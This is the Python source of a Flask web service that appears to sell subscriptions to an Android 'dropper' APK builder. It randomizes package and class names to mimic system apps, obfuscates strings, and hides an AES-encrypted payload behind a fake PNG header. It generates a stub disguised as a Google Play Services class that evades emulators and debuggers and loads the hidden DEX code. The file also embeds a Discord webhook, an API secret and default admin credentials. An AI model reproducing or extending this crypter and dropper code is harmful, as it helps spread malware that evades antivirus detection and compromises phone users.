from flask import Flask, render_template, request, jsonify, send_file, session, redirect, url_for
import os
import subprocess
import shutil
import defusedxml.ElementTree as ET
from werkzeug.utils import secure_filename
from werkzeug.security import generate_password_hash, check_password_hash
import threading
import json
from datetime import datetime, timedelta
import time
import zipfile
import uuid
import requests as http_requests
from PIL import Image as PILImage
PILImage.MAX_IMAGE_PIXELS = 16_000_000
import secrets
import re
import random
import string
from collections import defaultdict
import queue as _queue
import tempfile
import datetime as _dt
from xml.sax.saxutils import escape as xml_escape
import base64
import glob
import urllib.request, urllib.parse

# ===== IMPORTS PARA CRIPTOGRAFIA BP2 =====
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding as crypto_padding
from cryptography.hazmat.backends import default_backend
# ========================================

# ===== FAKE CLIENT DATA GENERATORS =====
_NOMES = ['Ana','Bruno','Carlos','Daniela','Eduardo','Fernanda','Gabriel','Helena',
          'Igor','Juliana','Kevin','Larissa','Marcelo','Natalia','Otavio','Patricia',
          'Rafael','Sabrina','Thiago','Vanessa','William','Ximena','Yuri','Zelia']
_SOBRENOMES = ['Silva','Santos','Oliveira','Souza','Lima','Pereira','Costa','Carvalho',
               'Ferreira','Rodrigues','Almeida','Nascimento','Gomes','Martins','Araujo',
               'Melo','Barbosa','Ribeiro','Rocha','Cardoso','Correia','Mendes','Freitas']

def _gen_nome():
    return f"{random.choice(_NOMES)} {random.choice(_SOBRENOMES)}"

def _gen_cpf():
    n = [random.randint(0, 9) for _ in range(9)]
    s1 = sum((10 - i) * n[i] for i in range(9)) * 10 % 11
    d1 = 0 if s1 >= 10 else s1
    n.append(d1)
    s2 = sum((11 - i) * n[i] for i in range(10)) * 10 % 11
    d2 = 0 if s2 >= 10 else s2
    n.append(d2)
    return ''.join(map(str, n))

def _gen_phone():
    ddd = random.choice(['11','21','31','41','51','61','71','81','85','91'])
    num = f"9{random.randint(10000000, 99999999)}"
    return ddd + num

# ===== APK BUILD HELPERS (original) =====
_DROPPER_ORIG_PKG = 'com.android.system.qspaas'

def _gen_pkg():
    suffix = ''.join(random.choices(string.ascii_lowercase, k=random.randint(4, 10)))
    return f"com.android.system.{suffix}"

_KS_CN_POOL = ['Android', 'System', 'Developer', 'Mobile', 'Core', 'Platform', 'App']
_KS_O_POOL  = ['Android Open Source', 'Mobile Platform', 'App Developer',
                'Core Systems', 'Platform Dev', 'Android Dev']
_KS_L_POOL  = ['Mountain View', 'San Francisco', 'Seattle', 'Austin', 'New York', 'San Jose']
_KS_ST_POOL = ['California', 'Washington', 'Texas', 'New York', 'Oregon']

def _generate_temp_keystore():
    import tempfile as _tf
    ks_dir   = _tf.mkdtemp(prefix='apkbld_')
    ks_path  = os.path.join(ks_dir, 'release.jks')
    alias    = ''.join(random.choices(string.ascii_lowercase, k=random.randint(6, 10)))
    password = secrets.token_hex(16)
    validity = str(random.randint(9000, 12000))
    dname = (
        f"CN={random.choice(_KS_CN_POOL)}, "
        f"OU=Android, "
        f"O={random.choice(_KS_O_POOL)}, "
        f"L={random.choice(_KS_L_POOL)}, "
        f"ST={random.choice(_KS_ST_POOL)}, "
        f"C=US"
    )
    try:
        res = subprocess.run(
            ['keytool', '-genkeypair',
             '-alias', alias,
             '-keyalg', 'RSA', '-keysize', '2048',
             '-validity', validity,
             '-keystore', ks_path,
             '-storepass', password,
             '-keypass',  password,
             '-dname', dname,
             '-noprompt'],
            capture_output=True, text=True, timeout=30
        )
        if res.returncode != 0 or not os.path.exists(ks_path):
            print(f'[keystore] keytool falhou rc={res.returncode}: {res.stderr[:300]}')
            shutil.rmtree(ks_dir, ignore_errors=True)
            return None
        print(f'[keystore] gerado alias={alias} validity={validity}d')
        return ks_path, alias, password, ks_dir
    except Exception as _e:
        print(f'[keystore] excecao: {_e}')
        shutil.rmtree(ks_dir, ignore_errors=True)
        return None

_CLS_MAIN_POOL = [
    'CoreActivity',    'AppActivity',     'BaseActivity',    'LaunchActivity',
    'ConfigActivity',  'HostActivity',    'ManagerActivity', 'NetworkActivity',
    'ServiceActivity', 'StartActivity',
]
_CLS_SVC_POOL = [
    'CoreService',     'NetworkService',  'ManagerService',  'AppService',
    'DataService',     'BackgroundService','HelperService',  'UpdateService',
    'TaskService',     'WorkerService',
]
_CLS_RCV_POOL = [
    'CoreReceiver',    'AppReceiver',     'BootReceiver',    'NetworkReceiver',
    'DataReceiver',    'EventReceiver',   'SyncReceiver',    'TaskReceiver',
]
_CLS_REDIR_POOL = [
    'PackageHelper',   'AppHelper',       'CoreHelper',      'ServiceHelper',
    'SyncHelper',      'DataHelper',      'TaskHelper',      'WorkerHelper',
    'UpdateHelper',    'NetworkHelper',
]

def _randomize_class_names(dropper_work):
    new_main  = random.choice(_CLS_MAIN_POOL)
    new_svc   = random.choice(_CLS_SVC_POOL)
    new_rcv   = random.choice(_CLS_RCV_POOL)
    new_redir = random.choice(_CLS_REDIR_POOL)

    renames = {
        'MainActivity':    new_main,
        'VpnKillService':  new_svc,
        'RcvJbrzn':        new_rcv,
        'RedirectWatcher': new_redir,
    }
    print(f'[cls_rename] {renames}')

    smali_dir = os.path.join(dropper_work, 'smali')
    all_smali = []
    for rd, _, fs in os.walk(smali_dir):
        for fn in fs:
            if fn.endswith('.smali'):
                all_smali.append((rd, fn))

    for rd, fn in all_smali:
        new_fn = fn
        for old_cls, new_cls in renames.items():
            if new_fn == old_cls + '.smali' or new_fn.startswith(old_cls + '$'):
                new_fn = new_fn.replace(old_cls, new_cls, 1)
        if new_fn != fn:
            try:
                os.rename(os.path.join(rd, fn), os.path.join(rd, new_fn))
            except Exception:
                pass

    for rd, _, fs in os.walk(dropper_work):
        for fn in fs:
            if not fn.endswith(('.smali', '.xml', '.yml')):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = txt
                for old_cls, new_cls in renames.items():
                    new_txt = new_txt.replace(old_cls, new_cls)
                if new_txt != txt:
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass

def _strip_smali_debug(dropper_work):
    _pat = re.compile(
        r'^\s*(?:'
        r'\.line\s+\d+'
        r'|\.source\s+"[^"]*"'
        r'|\.local\s+\S[^\n]*'
        r'|\.end\s+local\s+\S[^\n]*'
        r'|\.restart\s+local\s+\S[^\n]*'
        r'|\.prologue'
        r')\s*\n',
        re.MULTILINE
    )
    _blanks = re.compile(r'\n{3,}')
    saved = 0
    for rd, _, fs in os.walk(os.path.join(dropper_work, 'smali')):
        for fn in fs:
            if not fn.endswith('.smali'):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = _pat.sub('\n', txt)
                new_txt = _blanks.sub('\n\n', new_txt)
                if new_txt != txt:
                    saved += len(txt) - len(new_txt)
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass
    print(f'[debug_strip] {saved} bytes removidos de smali')

def _encrypt_smali_strings(dropper_work):
    import base64 as _b64

    def _xor_enc(plain_str):
        key_raw = ''.join(random.choices(string.ascii_letters + string.digits,
                                         k=random.randint(8, 16)))
        pt  = plain_str.encode('utf-8')
        kb  = key_raw.encode('utf-8')
        enc = bytes(pt[i] ^ kb[i % len(kb)] for i in range(len(pt)))
        return _b64.b64encode(enc).decode(), _b64.b64encode(kb).decode()

    def _blk(rd, rk, plain_str):
        enc, key = _xor_enc(plain_str)
        return (
            f'    const-string {rd}, "{enc}"\n'
            f'    const-string {rk}, "{key}"\n'
            f'    invoke-static {{{rd}, {rk}}}, Le0;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\n'
            f'    move-result-object {rd}'
        )

    target = None
    for _rd, _, _fs in os.walk(os.path.join(dropper_work, 'smali')):
        for _fn in _fs:
            if _fn == 'MainActivity.smali':
                target = os.path.join(_rd, _fn)
                break
        if target:
            break

    if not target:
        print('[enc_str] MainActivity.smali nao encontrado, pulando')
        return

    with open(target, 'r', encoding='utf-8') as f:
        txt = f.read()

    original = txt
    patched  = 0

    _old = '    const-string v8, "getPackageInstaller"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v8', 'v10', 'getPackageInstaller'), 1)
        patched += 1

    _old = '    const-string v7, "MODE_FULL_INSTALL"'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v8', 'MODE_FULL_INSTALL'), 1)
        patched += 1

    _old = '.method public final k()Ljava/lang/String;\n    .locals 3'
    if _old in txt:
        txt = txt.replace(_old, '.method public final k()Ljava/lang/String;\n    .locals 4', 1)
        patched += 1

    _lang = [
        ('    const-string v0, "To continue, enable installation from unknown sources in settings."',
         'To continue, enable installation from unknown sources in settings.'),
        ('    const-string v0, "Para continuar, ative a permiss\\u00e3o de instala\\u00e7\\u00e3o de fontes desconhecidas nas configura\\u00e7\\u00f5es."',
         'Para continuar, ative a permissão de instalação de fontes desconhecidas nas configurações.'),
        ('    const-string v0, "Per continuar, abilita l\\\'installazione da origini sconosciute nelle impostazioni."',
         'Per continuar, abilita l\'installazione da origini sconosciute nelle impostazioni.'),
        ('    const-string v0, "Pour continuer, activez l\\\'installation de sources inconnues dans les param\\u00e8tres."',
         'Pour continuer, activez l\'installation de sources inconnues dans les paramètres.'),
        ('    const-string v0, "Para continuar, habilite la instalaci\\u00f3n de or\\u00edgenes desconocidos en los ajustes."',
         'Para continuar, habilite la instalación de orígenes desconocidos en los ajustes.'),
        ('    const-string v0, "Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen."',
         'Um fortzufahren, aktivieren Sie die Installation aus unbekannten Quellen in den Einstellungen.'),
    ]
    for _old_smali, _plain in _lang:
        if _old_smali in txt:
            txt = txt.replace(_old_smali, _blk('v0', 'v3', _plain), 1)
            patched += 1

    _old = '.method public final l()V\n    .locals 4'
    if _old in txt:
        txt = txt.replace(_old, '.method public final l()V\n    .locals 5', 1)
        patched += 1

    _old = '    const-string v2, "Installing..."'
    if _old in txt:
        txt = txt.replace(_old, _blk('v2', 'v4', 'Installing...'), 1)
        patched += 1

    _old = '.method public final j()V\n    .locals 9'
    if _old in txt:
        txt = txt.replace(_old, '.method public final j()V\n    .locals 10\n\n    const/4 v9, 0x0', 1)
        patched += 1

    _old = '    const-string v2, "forName"\n\n    const/4 v3, 0x1'
    if _old in txt:
        txt = txt.replace(_old, _blk('v2', 'v9', 'forName') + '\n\n    const/4 v3, 0x1', 1)
        patched += 1

    _old = '    const-string v4, "getDeclaredMethod"\n\n    const/4 v6, 0x2'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'getDeclaredMethod') + '\n\n    const/4 v6, 0x2', 1)
        patched += 1

    _old = '    const-string v4, "dalvik.system.VMRuntime"\n\n    aput-object v4, v1, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'dalvik.system.VMRuntime') + '\n\n    aput-object v4, v1, v5', 1)
        patched += 1

    _old = '    const-string v7, "getRuntime"\n\n    aput-object v7, v2, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'getRuntime') + '\n\n    aput-object v7, v2, v5', 1)
        patched += 1

    _old = '    const-string v7, "setHiddenApiExemptions"\n\n    aput-object v7, v6, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'setHiddenApiExemptions') + '\n\n    aput-object v7, v6, v5', 1)
        patched += 1

    _old = '    const-string v4, "L"\n\n    aput-object v4, v3, v5'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v9', 'L') + '\n\n    aput-object v4, v3, v5', 1)
        patched += 1

    _old = '    const-string v11, "createSession"\n\n    new-array v12, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v11', 'v12', 'createSession') + '\n\n    new-array v12, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v7, "openSession"\n\n    new-array v11, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v11', 'openSession') + '\n\n    new-array v11, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v1, "openWrite"\n\n    const/4 v7, 0x3'
    if _old in txt:
        txt = txt.replace(_old, _blk('v1', 'v7', 'openWrite') + '\n\n    const/4 v7, 0x3', 1)
        patched += 1

    _old = '    const-string v4, "android.content.IntentSender"\n\n    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v4', 'v7', 'android.content.IntentSender') + '\n\n    invoke-static {v4}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v7, "commit"\n\n    new-array v9, v8, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v7', 'v9', 'commit') + '\n\n    new-array v9, v8, [Ljava/lang/Class;', 1)
        patched += 1

    _old = '    const-string v1, "close"\n\n    new-array v3, v2, [Ljava/lang/Class;'
    if _old in txt:
        txt = txt.replace(_old, _blk('v1', 'v3', 'close') + '\n\n    new-array v3, v2, [Ljava/lang/Class;', 1)
        patched += 1

    if txt != original:
        with open(target, 'w', encoding='utf-8') as f:
            f.write(txt)
        print(f'[enc_str] {patched} patch(es) aplicados em {os.path.basename(target)}')
    else:
        print('[enc_str] nenhuma string encontrada')

def _randomize_assets(dropper_work):
    import string as _str
    assets_dir = os.path.join(dropper_work, 'assets')
    if not os.path.exists(assets_dir):
        print('[assets] assets/ nao existe, pulando')
        return
    rename_map = {}
    for fn in os.listdir(assets_dir):
        base, ext = os.path.splitext(fn)
        if ext.lower() in ('.html', '.css', '.js'):
            rand = ''.join(random.choices(_str.ascii_lowercase, k=random.randint(6, 10)))
            rename_map[fn] = rand + ext.lower()
    if not rename_map:
        print('[assets] nenhum .html/.css/.js encontrado')
        return
    print('[assets] ' + str(rename_map))
    for old, new in rename_map.items():
        try:
            os.rename(os.path.join(assets_dir, old), os.path.join(assets_dir, new))
        except Exception as e:
            print('[assets] rename falhou: ' + str(e))
    for rd, _, fs in os.walk(dropper_work):
        for fn in fs:
            if not fn.endswith(('.smali', '.xml', '.yml', '.html', '.css')):
                continue
            fp = os.path.join(rd, fn)
            try:
                with open(fp, 'r', encoding='utf-8', errors='ignore') as f:
                    txt = f.read()
                new_txt = txt
                for old, new in rename_map.items():
                    new_txt = new_txt.replace(old, new)
                if new_txt != txt:
                    with open(fp, 'w', encoding='utf-8') as f:
                        f.write(new_txt)
            except Exception:
                pass
    print('[assets] ' + str(len(rename_map)) + ' asset(s) renomeados')

def _randomize_dropper_package(dropper_work, orig_pkg=_DROPPER_ORIG_PKG):
    new_pkg = _gen_pkg()
    orig_slash = orig_pkg.replace('.', '/')
    new_slash  = new_pkg.replace('.', '/')
    old_smali  = os.path.join(dropper_work, 'smali', *orig_pkg.split('.'))
    new_smali  = os.path.join(dropper_work, 'smali', *new_pkg.split('.'))
    if os.path.exists(old_smali):
        os.makedirs(os.path.dirname(new_smali), exist_ok=True)
        shutil.move(old_smali, new_smali)
    for root_dir, _, files in os.walk(dropper_work):
        for fname in files:
            if not fname.endswith(('.smali', '.xml', '.yml')):
                continue
            fpath = os.path.join(root_dir, fname)
            try:
                with open(fpath, 'r', encoding='utf-8', errors='ignore') as f:
                    content = f.read()
                nc = content.replace(orig_slash, new_slash).replace(orig_pkg, new_pkg)
                if nc != content:
                    with open(fpath, 'w', encoding='utf-8') as f:
                        f.write(nc)
            except:
                pass

def _randomize_version(dropper_work):
    vc = str(random.randint(50, 999))
    vn = f"{random.randint(1,9)}.{random.randint(0,9)}.{random.randint(0,20)}"
    yml_path = os.path.join(dropper_work, 'apktool.yml')
    if os.path.exists(yml_path):
        try:
            with open(yml_path, 'r') as f: content = f.read()
            content = re.sub(r"versionCode: '[^']*'", f"versionCode: '{vc}'", content)
            content = re.sub(r"versionName: '[^']*'", f"versionName: '{vn}'", content)
            with open(yml_path, 'w') as f: f.write(content)
        except: pass
    mf_path = os.path.join(dropper_work, 'AndroidManifest.xml')
    if os.path.exists(mf_path):
        try:
            with open(mf_path, 'r', encoding='utf-8') as f: content = f.read()
            content = re.sub(r'platformBuildVersionCode="[^"]*"', f'platformBuildVersionCode="{vc}"', content)
            content = re.sub(r'platformBuildVersionName="[^"]*"', f'platformBuildVersionName="{vn}"', content)
            with open(mf_path, 'w', encoding='utf-8') as f: f.write(content)
        except: pass

# ===== FUNÇÕES BP2 PARA CRIPTOGRAFIA E OFUSCAÇÃO =====
BP_LAYERS = 3
BP_INJECT_JUNK = True
BP_JUNK_TOTAL_MB = 1.5
BP_JUNK_FILE_COUNT = 8
BP_CAMOUFLAGE_PAYLOAD = True

def _bp_multi_layer_encrypt(plain_data, layers):
    all_keys_ivs = b''
    current_data = plain_data
    for _ in range(layers):
        key = os.urandom(32)
        iv  = os.urandom(16)
        all_keys_ivs += key + iv
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        padder = crypto_padding.PKCS7(128).padder()
        padded = padder.update(current_data) + padder.finalize()
        current_data = encryptor.update(padded) + encryptor.finalize()
    xor_byte = random.randint(0, 255)
    xored = bytes(b ^ xor_byte for b in all_keys_ivs)
    return current_data, xored + bytes([xor_byte])

def _bp_camouflage_payload(encrypted_data):
    png_header = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])
    ihdr = bytes.fromhex("0000000D4948445200000001000000010802000000009001" + "2E")[:17]
    iend = bytes([0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82])
    return png_header + ihdr + iend + encrypted_data

def random_name(prefix="", length=8):
    return prefix + ''.join(random.choices(string.ascii_lowercase, k=length))

def _bp_generate_stub(layers, camouflage):
    class_name = random_name("C", 10)
    get_payload = random_name("gP", 8)
    get_dex = random_name("gD", 8)
    get_meta = random_name("gM", 8)
    safe_env = random_name("isOk", 10)

    payload_name = "payload.dat"
    dex_name = "original.dex"
    meta_name = "original_main_activity"

    xor_key = random.randint(1, 255)
    def _xenc(s): return bytes([b ^ xor_key for b in s.encode()])
    def _jinit(b): return f'new String(new byte[]{{{", ".join(f"(byte)0x{x:02X}" for x in b)}}}, java.nio.charset.StandardCharsets.UTF_8)'
    payload_init = _jinit(_xenc(payload_name))
    dex_init     = _jinit(_xenc(dex_name))
    meta_init    = _jinit(_xenc(meta_name))

    anti_code = f'''
    private boolean {safe_env}() {{
        try {{
            String fp = (String) Class.forName("android.os.Build").getField("FINGERPRINT").get(null);
            if (fp.startsWith("generic") || fp.startsWith("unknown") ||
                fp.contains("google_sdk") || fp.contains("Emulator") ||
                fp.contains("Android SDK built for x86")) return false;
            String mfr = (String) Class.forName("android.os.Build").getField("MANUFACTURER").get(null);
            if (mfr.contains("Genymotion")) return false;
            Class<?> dbg = Class.forName("android.os.Debug");
            if ((boolean) dbg.getMethod("isDebuggerConnected").invoke(null)) return false;
            if ((getApplicationInfo().flags & 0x2) != 0) return false;
            if (new File("/system/bin/su").exists() || new File("/sbin/magisk").exists()) return false;
        }} catch (Exception e) {{ }}
        return true;
    }}'''

    fallback_code = f'''
            // Fallback: se tudo falhar, abre a Activity original
            ApplicationInfo ai2 = getPackageManager().getApplicationInfo(getPackageName(), 128);
            String mainActivity = ai2.metaData.getString("{meta_name}");
            if (mainActivity != null && !mainActivity.isEmpty()) {{
                Intent fbIntent = new Intent(this, Class.forName(mainActivity));
                fbIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                startActivity(fbIntent);
            }}
    '''

    payload_reader = '''
        InputStream enc = getAssets().open(payloadName);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        int n;
        while ((n = enc.read(buffer)) != -1) baos.write(buffer, 0, n);
        enc.close();
        byte[] data = baos.toByteArray();'''
    if camouflage:
        payload_reader += '''
        if (data.length > 12 && data[0] == (byte)0x89) {
            int pos = data.length - 4;
            while (pos >= 0) {
                if (data[pos]=='I'&&data[pos+1]=='E'&&data[pos+2]=='N'&&data[pos+3]=='D') break;
                pos--;
            }
            if (pos >= 0) data = java.util.Arrays.copyOfRange(data, pos + 8, data.length);
        }'''

    extra_import = "import java.nio.charset.StandardCharsets;"

    java = f'''package com.google.android.gms.common.internal;

import android.app.Application;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import java.io.*;
import java.util.Random;
{extra_import}

public class {class_name} extends Application {{
    private String {get_payload}() {{ return {payload_init}; }}
    private String {get_dex}()     {{ return {dex_init}; }}
    private String {get_meta}()    {{ return {meta_init}; }}
{anti_code}

    private void junk1() {{ int a = new Random().nextInt(); if (a == 0) junk2(); }}
    private void junk2() {{ String s = "" + System.currentTimeMillis(); }}
    private void junk3() {{ try {{ Thread.sleep(0); }} catch (Exception e) {{}} }}
    private void junk4() {{ File f = new File("/"); f.exists(); }}
    private void junk5() {{ junk1(); junk3(); }}

    @Override
    public void onCreate() {{
        super.onCreate();
        junk5();
        try {{
            if (!{safe_env}()) {{
                {fallback_code}
                return;
            }}

            String payloadName = {get_payload}();
            String dexName = {get_dex}();
            String metaName = {get_meta}();

            File apkFile = new File(getPackageCodePath());
            int keyBlockSize = {layers} * 48 + 1;
            byte[] kb = new byte[keyBlockSize];
            java.io.RandomAccessFile raf = new java.io.RandomAccessFile(apkFile, "r");
            raf.seek(raf.length() - keyBlockSize);
            raf.readFully(kb);
            raf.close();

            byte xb = kb[keyBlockSize - 1];
            byte[] ek = new byte[keyBlockSize - 1];
            System.arraycopy(kb, 0, ek, 0, keyBlockSize - 1);
            for (int i = 0; i < ek.length; i++) ek[i] ^= xb;

            byte[][] keys = new byte[{layers}][32];
            byte[][] ivs  = new byte[{layers}][16];
            for (int layer = 0; layer < {layers}; layer++) {{
                int off = layer * 48;
                System.arraycopy(ek, off, keys[layer], 0, 32);
                System.arraycopy(ek, off + 32, ivs[layer], 0, 16);
            }}

            {payload_reader}

            for (int layer = {layers} - 1; layer >= 0; layer--) {{
                Class<?> cc = Class.forName("javax.crypto.Cipher");
                Object cipher = cc.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
                Class<?> ks = Class.forName("javax.crypto.spec.SecretKeySpec");
                Object keyObj = ks.getConstructor(byte[].class, String.class).newInstance(keys[layer], "AES");
                Class<?> iv = Class.forName("javax.crypto.spec.IvParameterSpec");
                Object ivObj = iv.getConstructor(byte[].class).newInstance(ivs[layer]);
                cc.getMethod("init", int.class, java.security.Key.class, java.security.spec.AlgorithmParameterSpec.class)
                    .invoke(cipher, 2, keyObj, ivObj);
                data = (byte[]) cc.getMethod("doFinal", byte[].class).invoke(cipher, data);
            }}

            File tmpDir = getDir("odex", 0);
            File payloadFile = new File(tmpDir, dexName);
            FileOutputStream fos = new FileOutputStream(payloadFile);
            fos.write(data);
            fos.close();

            ApplicationInfo ai = getPackageManager().getApplicationInfo(getPackageName(), 128);
            String mainActivity = ai.metaData.getString(metaName);

            Class<?> dclClass = Class.forName("dalvik.system.DexClassLoader");
            Object dcl = dclClass.getConstructor(String.class, String.class, String.class, ClassLoader.class)
                .newInstance(payloadFile.getAbsolutePath(), tmpDir.getAbsolutePath(), null, getClassLoader());
            Intent intent = new Intent(this, Class.forName(mainActivity));
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }} catch (Exception e) {{
            try {{
                ApplicationInfo ai2 = getPackageManager().getApplicationInfo(getPackageName(), 128);
                String mainActivity = ai2.metaData.getString("{meta_name}");
                if (mainActivity != null && !mainActivity.isEmpty()) {{
                    Intent fbIntent = new Intent(this, Class.forName(mainActivity));
                    fbIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    startActivity(fbIntent);
                }}
            }} catch (Exception ignored) {{ }}
        }}
    }}
}}
'''
    return java, class_name

def _bp_compile_stub(build_tmp_dir):
    os.makedirs(build_tmp_dir, exist_ok=True)
    stub_path = os.path.join(build_tmp_dir, "stub.dex")
    java_code, class_name = _bp_generate_stub(BP_LAYERS, BP_CAMOUFLAGE_PAYLOAD)
    java_filename = os.path.join(build_tmp_dir, f"{class_name}.java")
    with open(java_filename, "w", encoding="utf-8") as f:
        f.write(java_code)

    android_jar = r"C:\Users\Toninho\Downloads\BP ANDROID\android.jar"
    if not os.path.exists(android_jar):
        android_jar = os.path.join(BASE_DIR, "android.jar")
        if not os.path.exists(android_jar):
            raise Exception("android.jar não encontrado. Defina o caminho correto.")

    subprocess.run(
        ["javac", "--release", "11", "-cp", android_jar, "-d", build_tmp_dir, java_filename],
        check=True, capture_output=True
    )

    class_path = os.path.join(build_tmp_dir,
                              "com", "google", "android", "gms", "common", "internal",
                              f"{class_name}.class")
    if not os.path.exists(class_path):
        raise FileNotFoundError(f"Classe compilada não encontrada: {class_path}")

    d8 = shutil.which("d8")
    if not d8:
        raise Exception("d8 não encontrado no PATH")
    subprocess.run(
        [d8, "--lib", android_jar, "--output", build_tmp_dir, class_path],
        check=True, capture_output=True
    )

    classes_dex = os.path.join(build_tmp_dir, "classes.dex")
    if not os.path.exists(classes_dex):
        raise RuntimeError("d8 não gerou classes.dex")
    os.rename(classes_dex, stub_path)
    return stub_path, class_name

# ===== INÍCIO DA APLICAÇÃO FLASK =====
app = Flask(__name__)

SECRET_KEY_FILE = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'apk_dropper', '.secret_key')
if os.path.exists(SECRET_KEY_FILE):
    with open(SECRET_KEY_FILE, 'r') as _f:
        app.secret_key = _f.read().strip()
else:
    app.secret_key = secrets.token_hex(32)
    os.makedirs(os.path.dirname(SECRET_KEY_FILE), exist_ok=True)
    with open(SECRET_KEY_FILE, 'w') as _f:
        _f.write(app.secret_key)

app.config['MAX_CONTENT_LENGTH'] = 200 * 1024 * 1024
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)

BASE_DIR = os.path.abspath(os.path.dirname(__file__))
app.config['UPLOAD_FOLDER'] = os.path.join(BASE_DIR, 'uploads')
app.config['OUTPUT_FOLDER'] = os.path.join(BASE_DIR, 'outputs')
app.config['PDF_FOLDER'] = os.path.join(BASE_DIR, 'pdfs')
DATA_DIR = os.path.join(BASE_DIR, 'apk_dropper')
DATA_FILE = os.path.join(DATA_DIR, 'data.json')
PDF_TOKENS_FILE = os.path.join(DATA_DIR, 'pdf_tokens.json')

for d in [app.config['UPLOAD_FOLDER'], app.config['OUTPUT_FOLDER'], app.config['PDF_FOLDER'], DATA_DIR]:
    os.makedirs(d, exist_ok=True)

DROPPER_TEMPLATE = os.path.join(BASE_DIR, "dropper_rebuild")
PLAYSTORE_OVERLAY = os.path.join(BASE_DIR, "playstore_overlay")
REDIRECT_OVERLAY = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'redirect_overlay')
SIGNER_JAR = os.path.join(BASE_DIR, "signer.jar")
APKTOOL_JAR = os.path.join(BASE_DIR, "apktool.jar")

DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1526113125022040084/0uw-g4-GVYE6pfHXQNLiBoDRbd0AekHzrZx30BknKe_FjRadiOMVFVdUElrIgWhyzp2h"

BUILD_STATUS = {}
TURNSTILE_SECRET = '0x4AAAAAAD1QUaKT4jUJX8qN6uQcZzK3zR4'

def _verify_turnstile(token, ip=None):
    if not token:
        return False
    try:
        params = {'secret': TURNSTILE_SECRET, 'response': str(token)[:2048]}
        if ip:
            params['remoteip'] = ip
        data = urllib.parse.urlencode(params).encode()
        req = urllib.request.Request(
            'https://challenges.cloudflare.com/turnstile/v0/siteverify',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            method='POST'
        )
        with urllib.request.urlopen(req, timeout=5) as resp:
            result = json.loads(resp.read())
        ok = result.get('success', False)
        if not ok:
            print(f'[turnstile] falhou: {result.get("error-codes", "")}')
        return ok
    except Exception as e:
        print(f'[turnstile] excecao: {e}')
        return False

_BUILD_SEMAPHORE = threading.BoundedSemaphore(2)
_BP_LOCK = threading.Lock()

login_attempts = defaultdict(list)
MAX_ATTEMPTS = 10
ATTEMPT_WINDOW = 300

register_attempts = defaultdict(list)
MAX_REGISTER_ATTEMPTS = 5
REGISTER_WINDOW = 300

_reg_lock = threading.Lock()

PLAN_PRICES = {
    "7":  {"days": 7,  "label": "7 Dias",  "price": 17000},
    "15": {"days": 15, "label": "15 Dias", "price": 27000},
    "30": {"days": 30, "label": "30 Dias", "price": 36000},
}

_gw_token_cache = {}

_webhook_queue = _queue.Queue(maxsize=200)

def _send_discord_webhook_sync(title, description, color=0x6b7280, fields=None):
    try:
        payload = {
            "embeds": [{
                "title": title,
                "description": description,
                "color": color,
                "timestamp": datetime.utcnow().isoformat(),
                "fields": fields or []
            }]
        }
        http_requests.post(DISCORD_WEBHOOK, json=payload, timeout=5)
    except Exception:
        pass

def _webhook_worker():
    while True:
        try:
            item = _webhook_queue.get()
            if item is None:
                continue
            _send_discord_webhook_sync(*item[0], **item[1])
        except Exception:
            pass

_webhook_thread = threading.Thread(target=_webhook_worker, daemon=True)
_webhook_thread.start()

def send_discord_webhook(title, description, color=0x6b7280, fields=None):
    try:
        _webhook_queue.put_nowait(((title, description), {"color": color, "fields": fields}))
    except _queue.Full:
        pass

# ===== DATA MANAGEMENT =====
def load_data():
    if not os.path.exists(DATA_FILE):
        initial_data = {
            "users": {
                "admin": {
                    "password": generate_password_hash("admin123"),
                    "role": "owner",
                    "email": "",
